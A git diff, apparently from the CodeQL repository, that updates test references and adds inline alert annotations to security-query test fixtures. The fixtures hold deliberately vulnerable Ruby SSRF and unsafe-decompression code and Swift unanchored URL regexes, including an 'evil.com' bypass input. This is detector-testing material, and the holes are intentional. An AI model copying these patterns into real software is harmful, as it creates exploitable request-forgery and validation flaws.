a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref index 34f3a2952f27..615ca40af22a 100644 --- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref @@ -1 +1,2 @@ -queries/security/cwe-918/ServerSideRequestForgery.ql +query: queries/security/cwe-918/ServerSideRequestForgery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb index ff99ffe1801c..f2ff6825b7d4 100644 --- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb +++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb @@ -7,17 +7,17 @@ def create user = params[:user_id] # BAD - user can control the entire URL of the request - users_service_domain = params[:users_service_domain] - response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body + users_service_domain = params[:users_service_domain] # $ Source + response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body # $ Alert token = JSON.parse(response)["token"] # BAD - user can control the entire URL for the request using Faraday library - conn = Faraday.new(url: params[:url]) + conn = Faraday.new(url: params[:url]) # $ Alert resp = conn.post token = JSON.parse(resp)["token"] # BAD - user can control the entire URL for the request using Faraday::Connection library - conn = Faraday::Connection.new(url: params[:url]) + conn = Faraday::Connection.new(url: params[:url]) # $ Alert resp = conn.post token = JSON.parse(resp)["token"] diff --git a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref index feb45b822208..4d63d1ce6246 100644 --- a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref +++ b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref @@ -1 +1,2 @@ -experimental/decompression-api/DecompressionApi.ql \ No newline at end of file +query: experimental/decompression-api/DecompressionApi.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb index 6c1daa144e2f..18da3c4bc023 100644 --- a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb +++ b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb @@ -1,8 +1,8 @@ class TestController < ActionController::Base # this should get picked up def unsafe_zlib_unzip - path = params[:file] - Zlib::Inflate.inflate(path) + path = params[:file] # $ Source + Zlib::Inflate.inflate(path) # $ Alert end # this should not get picked up @@ -12,7 +12,7 @@ def safe_zlib_unzip # this should get picked up def unsafe_zlib_unzip - Zip::File.open_buffer(params[:file]) + Zip::File.open_buffer(params[:file]) # $ Alert end # this should not get picked up diff --git a/ruby/ql/test/query-tests/summary/LinesOfCode.qlref b/ruby/ql/test/query-tests/summary/LinesOfCode.qlref index 84278cfc96b7..0478c9ec2f5c 100644 --- a/ruby/ql/test/query-tests/summary/LinesOfCode.qlref +++ b/ruby/ql/test/query-tests/summary/LinesOfCode.qlref @@ -1 +1 @@ -queries/summary/LinesOfCode.ql \ No newline at end of file +query: queries/summary/LinesOfCode.ql diff --git a/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref b/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref index 4114db632a26..45caa1400d7d 100644 --- a/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref +++ b/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref @@ -1 +1 @@ -queries/summary/LinesOfUserCode.ql \ No newline at end of file +query: queries/summary/LinesOfUserCode.ql diff --git a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref index 8407cd817f14..e1f3141a439d 100644 --- a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref +++ b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref @@ -1 +1 @@ -utils/modeleditor/FrameworkModeAccessPaths.ql +query: utils/modeleditor/FrameworkModeAccessPaths.ql diff --git a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref index 91b8e89b85f5..ec216021687b 100644 --- a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref +++ b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref @@ -1 +1 @@ -utils/modeleditor/FrameworkModeEndpoints.ql +query: utils/modeleditor/FrameworkModeEndpoints.ql diff --git a/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref b/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref index 2ad420fa620e..07e780838762 100644 --- a/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref +++ b/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref @@ -1 +1 @@ -queries/modeling/GenerateModel.ql +query: queries/modeling/GenerateModel.ql diff --git a/rust/ql/integration-tests/hello-project/ExtractionErrors.qlref b/rust/ql/integration-tests/hello-project/ExtractionErrors.qlref index ba4f854d6a10..9169d655e25c 100644 --- a/rust/ql/integration-tests/hello-project/ExtractionErrors.qlref +++ b/rust/ql/integration-tests/hello-project/ExtractionErrors.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionErrors.ql +query: queries/diagnostics/ExtractionErrors.ql diff --git a/rust/ql/integration-tests/hello-project/ExtractionWarnings.qlref b/rust/ql/integration-tests/hello-project/ExtractionWarnings.qlref index ff6e566d20a7..24af39e23262 100644 --- a/rust/ql/integration-tests/hello-project/ExtractionWarnings.qlref +++ b/rust/ql/integration-tests/hello-project/ExtractionWarnings.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionWarnings.ql +query: queries/diagnostics/ExtractionWarnings.ql diff --git a/rust/ql/integration-tests/hello-project/summary.qlref b/rust/ql/integration-tests/hello-project/summary.qlref index 926fc7903911..1e9346a81a8c 100644 --- a/rust/ql/integration-tests/hello-project/summary.qlref +++ b/rust/ql/integration-tests/hello-project/summary.qlref @@ -1 +1 @@ -queries/summary/SummaryStatsReduced.ql +query: queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/integration-tests/hello-workspace/ExtractionErrors.qlref b/rust/ql/integration-tests/hello-workspace/ExtractionErrors.qlref index ba4f854d6a10..9169d655e25c 100644 --- a/rust/ql/integration-tests/hello-workspace/ExtractionErrors.qlref +++ b/rust/ql/integration-tests/hello-workspace/ExtractionErrors.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionErrors.ql +query: queries/diagnostics/ExtractionErrors.ql diff --git a/rust/ql/integration-tests/hello-workspace/ExtractionWarnings.qlref b/rust/ql/integration-tests/hello-workspace/ExtractionWarnings.qlref index ff6e566d20a7..24af39e23262 100644 --- a/rust/ql/integration-tests/hello-workspace/ExtractionWarnings.qlref +++ b/rust/ql/integration-tests/hello-workspace/ExtractionWarnings.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionWarnings.ql +query: queries/diagnostics/ExtractionWarnings.ql diff --git a/rust/ql/integration-tests/hello-workspace/summary.qlref b/rust/ql/integration-tests/hello-workspace/summary.qlref index 926fc7903911..1e9346a81a8c 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.qlref +++ b/rust/ql/integration-tests/hello-workspace/summary.qlref @@ -1 +1 @@ -queries/summary/SummaryStatsReduced.ql +query: queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/test/extractor-tests/macro-expansion/PrintAst.qlref b/rust/ql/test/extractor-tests/macro-expansion/PrintAst.qlref index ee3c14c56f15..d8d07ef1184f 100644 --- a/rust/ql/test/extractor-tests/macro-expansion/PrintAst.qlref +++ b/rust/ql/test/extractor-tests/macro-expansion/PrintAst.qlref @@ -1 +1 @@ -utils/PrintAst.ql +query: utils/PrintAst.ql diff --git a/rust/ql/test/extractor-tests/macro-in-library/PrintAst.qlref b/rust/ql/test/extractor-tests/macro-in-library/PrintAst.qlref index ee3c14c56f15..d8d07ef1184f 100644 --- a/rust/ql/test/extractor-tests/macro-in-library/PrintAst.qlref +++ b/rust/ql/test/extractor-tests/macro-in-library/PrintAst.qlref @@ -1 +1 @@ -utils/PrintAst.ql +query: utils/PrintAst.ql diff --git a/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.qlref b/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.qlref index 68d587b883e3..8b940c0d01ec 100644 --- a/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.qlref +++ b/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.qlref @@ -1 +1 @@ -queries/diagnostics/AstConsistencyCounts.ql +query: queries/diagnostics/AstConsistencyCounts.ql diff --git a/rust/ql/test/query-tests/diagnostics/CfgConsistencyCounts.qlref b/rust/ql/test/query-tests/diagnostics/CfgConsistencyCounts.qlref index 6e7ffa8aaa9d..fb180bf64bb2 100644 --- a/rust/ql/test/query-tests/diagnostics/CfgConsistencyCounts.qlref +++ b/rust/ql/test/query-tests/diagnostics/CfgConsistencyCounts.qlref @@ -1 +1 @@ -queries/diagnostics/CfgConsistencyCounts.ql +query: queries/diagnostics/CfgConsistencyCounts.ql diff --git a/rust/ql/test/query-tests/diagnostics/DataFlowConsistencyCounts.qlref b/rust/ql/test/query-tests/diagnostics/DataFlowConsistencyCounts.qlref index 128d80b22913..c3b3fb00c93c 100644 --- a/rust/ql/test/query-tests/diagnostics/DataFlowConsistencyCounts.qlref +++ b/rust/ql/test/query-tests/diagnostics/DataFlowConsistencyCounts.qlref @@ -1 +1 @@ -queries/diagnostics/DataFlowConsistencyCounts.ql +query: queries/diagnostics/DataFlowConsistencyCounts.ql diff --git a/rust/ql/test/query-tests/diagnostics/ExtractedFiles.qlref b/rust/ql/test/query-tests/diagnostics/ExtractedFiles.qlref index cd1996e606b6..ed3e1b70d3ec 100644 --- a/rust/ql/test/query-tests/diagnostics/ExtractedFiles.qlref +++ b/rust/ql/test/query-tests/diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractedFiles.ql +query: queries/diagnostics/ExtractedFiles.ql diff --git a/rust/ql/test/query-tests/diagnostics/ExtractionErrors.qlref b/rust/ql/test/query-tests/diagnostics/ExtractionErrors.qlref index ffbdb0a7b1b5..9169d655e25c 100644 --- a/rust/ql/test/query-tests/diagnostics/ExtractionErrors.qlref +++ b/rust/ql/test/query-tests/diagnostics/ExtractionErrors.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionErrors.ql \ No newline at end of file +query: queries/diagnostics/ExtractionErrors.ql diff --git a/rust/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref b/rust/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref index ff6e566d20a7..24af39e23262 100644 --- a/rust/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref +++ b/rust/ql/test/query-tests/diagnostics/ExtractionWarnings.qlref @@ -1 +1 @@ -queries/diagnostics/ExtractionWarnings.ql +query: queries/diagnostics/ExtractionWarnings.ql diff --git a/rust/ql/test/query-tests/diagnostics/LinesOfCode.qlref b/rust/ql/test/query-tests/diagnostics/LinesOfCode.qlref index 6b283550e622..0478c9ec2f5c 100644 --- a/rust/ql/test/query-tests/diagnostics/LinesOfCode.qlref +++ b/rust/ql/test/query-tests/diagnostics/LinesOfCode.qlref @@ -1 +1 @@ -queries/summary/LinesOfCode.ql +query: queries/summary/LinesOfCode.ql diff --git a/rust/ql/test/query-tests/diagnostics/LinesOfUserCode.qlref b/rust/ql/test/query-tests/diagnostics/LinesOfUserCode.qlref index 73feb9152774..45caa1400d7d 100644 --- a/rust/ql/test/query-tests/diagnostics/LinesOfUserCode.qlref +++ b/rust/ql/test/query-tests/diagnostics/LinesOfUserCode.qlref @@ -1 +1 @@ -queries/summary/LinesOfUserCode.ql +query: queries/summary/LinesOfUserCode.ql diff --git a/rust/ql/test/query-tests/diagnostics/LinesOfUserCodeInFiles.qlref b/rust/ql/test/query-tests/diagnostics/LinesOfUserCodeInFiles.qlref index da3e8f72ed9a..ffc0095c1a05 100644 --- a/rust/ql/test/query-tests/diagnostics/LinesOfUserCodeInFiles.qlref +++ b/rust/ql/test/query-tests/diagnostics/LinesOfUserCodeInFiles.qlref @@ -1 +1 @@ -queries/summary/LinesOfUserCodeInFiles.ql +query: queries/summary/LinesOfUserCodeInFiles.ql diff --git a/rust/ql/test/query-tests/diagnostics/SsaConsistencyCounts.qlref b/rust/ql/test/query-tests/diagnostics/SsaConsistencyCounts.qlref index 40242e81c245..f43cb8682910 100644 --- a/rust/ql/test/query-tests/diagnostics/SsaConsistencyCounts.qlref +++ b/rust/ql/test/query-tests/diagnostics/SsaConsistencyCounts.qlref @@ -1 +1 @@ -queries/diagnostics/SsaConsistencyCounts.ql +query: queries/diagnostics/SsaConsistencyCounts.ql diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.qlref b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.qlref index 926fc7903911..1e9346a81a8c 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.qlref +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.qlref @@ -1 +1 @@ -queries/summary/SummaryStatsReduced.ql +query: queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/test/query-tests/diagnostics/UnextractedElements.qlref b/rust/ql/test/query-tests/diagnostics/UnextractedElements.qlref index e02770f843d7..119addad1880 100644 --- a/rust/ql/test/query-tests/diagnostics/UnextractedElements.qlref +++ b/rust/ql/test/query-tests/diagnostics/UnextractedElements.qlref @@ -1 +1 @@ -queries/diagnostics/UnextractedElements.ql +query: queries/diagnostics/UnextractedElements.ql diff --git a/rust/ql/test/query-tests/diagnostics/UnresolvedMacroCalls.qlref b/rust/ql/test/query-tests/diagnostics/UnresolvedMacroCalls.qlref index 77f337e27032..3435d38ebe72 100644 --- a/rust/ql/test/query-tests/diagnostics/UnresolvedMacroCalls.qlref +++ b/rust/ql/test/query-tests/diagnostics/UnresolvedMacroCalls.qlref @@ -1 +1 @@ -queries/diagnostics/UnresolvedMacroCalls.ql +query: queries/diagnostics/UnresolvedMacroCalls.ql diff --git a/swift/ql/test/extractor-tests/generated/decl/CapturedDecl/PrintAst.qlref b/swift/ql/test/extractor-tests/generated/decl/CapturedDecl/PrintAst.qlref index f7d7d0c4fcbd..d4d4213d1ede 100644 --- a/swift/ql/test/extractor-tests/generated/decl/CapturedDecl/PrintAst.qlref +++ b/swift/ql/test/extractor-tests/generated/decl/CapturedDecl/PrintAst.qlref @@ -1 +1 @@ -library-tests/ast/PrintAst.ql +query: library-tests/ast/PrintAst.ql diff --git a/swift/ql/test/extractor-tests/updates/PrintAst.qlref b/swift/ql/test/extractor-tests/updates/PrintAst.qlref index f7d7d0c4fcbd..d4d4213d1ede 100644 --- a/swift/ql/test/extractor-tests/updates/PrintAst.qlref +++ b/swift/ql/test/extractor-tests/updates/PrintAst.qlref @@ -1 +1 @@ -library-tests/ast/PrintAst.ql +query: library-tests/ast/PrintAst.ql diff --git a/swift/ql/test/library-tests/ast/Errors.qlref b/swift/ql/test/library-tests/ast/Errors.qlref index 7441b24678d8..a1c638c8fca6 100644 --- a/swift/ql/test/library-tests/ast/Errors.qlref +++ b/swift/ql/test/library-tests/ast/Errors.qlref @@ -1 +1 @@ -extractor-tests/errors/Errors.ql +query: extractor-tests/errors/Errors.ql diff --git a/swift/ql/test/library-tests/elements/expr/methodlookup/PrintAst.qlref b/swift/ql/test/library-tests/elements/expr/methodlookup/PrintAst.qlref index f7d7d0c4fcbd..d4d4213d1ede 100644 --- a/swift/ql/test/library-tests/elements/expr/methodlookup/PrintAst.qlref +++ b/swift/ql/test/library-tests/elements/expr/methodlookup/PrintAst.qlref @@ -1 +1 @@ -library-tests/ast/PrintAst.ql +query: library-tests/ast/PrintAst.ql diff --git a/swift/ql/test/library-tests/hidden-ast/PrintAst.qlref b/swift/ql/test/library-tests/hidden-ast/PrintAst.qlref index f7d7d0c4fcbd..d4d4213d1ede 100644 --- a/swift/ql/test/library-tests/hidden-ast/PrintAst.qlref +++ b/swift/ql/test/library-tests/hidden-ast/PrintAst.qlref @@ -1 +1 @@ -library-tests/ast/PrintAst.ql +query: library-tests/ast/PrintAst.ql diff --git a/swift/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref b/swift/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref index 9d7833eccae7..dc898fca718c 100644 --- a/swift/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref +++ b/swift/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref @@ -1 +1 @@ -AlertSuppression.ql +query: AlertSuppression.ql diff --git a/swift/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref b/swift/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref index f0e7bd917f84..3c5f5df7c8b1 100644 --- a/swift/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref +++ b/swift/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -diagnostics/ExtractedFiles.ql +query: diagnostics/ExtractedFiles.ql diff --git a/swift/ql/test/query-tests/Diagnostics/SuccessfullyExtractedLines.qlref b/swift/ql/test/query-tests/Diagnostics/SuccessfullyExtractedLines.qlref index 26996e64988e..3742e604b165 100644 --- a/swift/ql/test/query-tests/Diagnostics/SuccessfullyExtractedLines.qlref +++ b/swift/ql/test/query-tests/Diagnostics/SuccessfullyExtractedLines.qlref @@ -1 +1 @@ -diagnostics/SuccessfullyExtractedLines.ql +query: diagnostics/SuccessfullyExtractedLines.ql diff --git a/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref b/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref index b80ac364258b..6b46d67a8493 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref +++ b/swift/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegex.qlref @@ -1 +1,2 @@ -queries/Security/CWE-020/IncompleteHostnameRegex.ql +query: queries/Security/CWE-020/IncompleteHostnameRegex.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref b/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref index 9b1f04d1a7a2..4e76e1995e9c 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref +++ b/swift/ql/test/query-tests/Security/CWE-020/MissingRegexAnchor.qlref @@ -1 +1,2 @@ -queries/Security/CWE-020/MissingRegexAnchor.ql +query: queries/Security/CWE-020/MissingRegexAnchor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift b/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift index 3b0abe53048d..5f2b0924c8c0 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/SemiAnchoredRegex.swift @@ -47,63 +47,63 @@ class NSString : NSObject { func tests(input: String) throws { _ = try Regex("^a|").firstMatch(in: input) - _ = try Regex("^a|b").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^a|b").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex("a|^b").firstMatch(in: input) _ = try Regex("^a|^b").firstMatch(in: input) - _ = try Regex("^a|b|c").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^a|b|c").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex("a|^b|c").firstMatch(in: input) _ = try Regex("a|b|^c").firstMatch(in: input) _ = try Regex("^a|^b|c").firstMatch(in: input) _ = try Regex("(^a)|b").firstMatch(in: input) - _ = try Regex("^a|(b)").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^a|(b)").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex("^a|(^b)").firstMatch(in: input) - _ = try Regex("^(a)|(b)").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^(a)|(b)").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] - _ = try Regex("a|b$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("a|b$").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex("a$|b").firstMatch(in: input) _ = try Regex("a$|b$").firstMatch(in: input) - _ = try Regex("a|b|c$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("a|b|c$").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex("a|b$|c").firstMatch(in: input) _ = try Regex("a$|b|c").firstMatch(in: input) _ = try Regex("a|b$|c$").firstMatch(in: input) _ = try Regex("a|(b$)").firstMatch(in: input) - _ = try Regex("(a)|b$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("(a)|b$").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex("(a$)|b$").firstMatch(in: input) - _ = try Regex("(a)|(b)$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("(a)|(b)$").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] - _ = try Regex(#"^good.com|better.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\.com|better\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\\.com|better\\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\\\.com|better\\\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^good\\\\.com|better\\\\.com"#).firstMatch(in: input) // BAD (missing anchor) + _ = try Regex(#"^good.com|better.com"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^good\.com|better\.com"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^good\\.com|better\\.com"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^good\\\.com|better\\\.com"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^good\\\\.com|better\\\\.com"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] - _ = try Regex("^foo|bar|baz$").firstMatch(in: input) // BAD (missing anchor) + _ = try Regex("^foo|bar|baz$").firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex("^foo|%").firstMatch(in: input) } func realWorld(input: String) throws { // real-world examples that have been anonymized a bit // the following are bad: - _ = try Regex(#"(\.xxx)|(\.yyy)|(\.zzz)$"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"(^left|right|center)\sbottom$"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"\.xxx|\.yyy|zzz$"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^([A-Z]|xxx[XY]$)"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)|(1st( xxx)? yyy)|xxx|1st"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx:)|(yyy:)|(zzz:)"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^(xxx?:)|(yyy:zzz\/)"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^@media|@page"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^\s*(xxx?|yyy|zzz):|xxx:yyy"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^click|mouse|touch"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^http://good\.com|http://better\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^https?://good\.com|https?://better\.com"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^mouse|touch|click|contextmenu|drop|dragover|dragend"#).firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"^xxx:|yyy:"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) - _ = try Regex(#"_xxx|_yyy|_zzz$"#).firstMatch(in: input) // BAD (missing anchor) + _ = try Regex(#"(\.xxx)|(\.yyy)|(\.zzz)$"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"(^left|right|center)\sbottom$"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"\.xxx|\.yyy|\.zzz$"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"\.xxx|\.yyy|zzz$"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^([A-Z]|xxx[XY]$)"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^(xxx yyy zzz)|(xxx yyy)|(1st( xxx)? yyy)|xxx|1st"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^(xxx:)|(yyy:)|(zzz:)"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^(xxx?:)|(yyy:zzz\/)"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^@media|@page"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^\s*(xxx?|yyy|zzz):|xxx:yyy"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^click|mouse|touch"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^http://good\.com|http://better\.com"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^https?://good\.com|https?://better\.com"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^mouse|touch|click|contextmenu|drop|dragover|dragend"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"^xxx:|yyy:"#).ignoresCase().firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try Regex(#"_xxx|_yyy|_zzz$"#).firstMatch(in: input) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] _ = try Regex(#"em|%$"#).firstMatch(in: input) // BAD (missing anchor) [NOT DETECTED] - not flagged at the moment due to the anchor not being for letters // the following are MAYBE OK due to apparent complexity; not flagged diff --git a/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift b/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift index b2e8810e7b75..bb25bd54c14f 100644 --- a/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift +++ b/swift/ql/test/query-tests/Security/CWE-020/UnanchoredUrlRegex.swift @@ -59,36 +59,36 @@ func tests(url: String, secure: Bool) throws { let input = "http://evil.com/?http://good.com" let inputRange = NSMakeRange(0, input.utf16.count) - _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) - _ = try NSRegularExpression(pattern: "^https?://good.com").matches(in: input, range: inputRange) // BAD (missing post-anchor) - _ = try NSRegularExpression(pattern: "(^https?://good1.com)|(^https?://good2.com)").matches(in: input, range: inputRange) // BAD (missing post-anchor) - _ = try NSRegularExpression(pattern: "(https?://good.com)|(^https?://goodie.com)").matches(in: input, range: inputRange) // BAD (missing anchor) + _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try NSRegularExpression(pattern: "https?://good.com").matches(in: input, range: inputRange) // BAD (missing anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try NSRegularExpression(pattern: "^https?://good.com").matches(in: input, range: inputRange) // BAD (missing post-anchor) // $ Alert[swift/missing-regexp-anchor] + _ = try NSRegularExpression(pattern: "(^https?://good1.com)|(^https?://good2.com)").matches(in: input, range: inputRange) // BAD (missing post-anchor) // $ 